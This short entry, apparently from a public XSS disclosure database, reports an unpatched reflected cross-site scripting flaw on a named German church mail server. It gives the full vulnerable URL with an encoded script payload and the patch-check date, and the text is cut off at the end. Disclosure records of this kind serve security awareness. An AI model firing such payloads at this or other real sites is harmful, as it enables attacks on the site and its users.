mail.kirche-moers.de XSS vulnerability

Vulnerable URL: https://mail.kirche-moers.de:4443/error.php?message=%3Cscript%3Ealert%28%22XSSPOSED%22%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / No...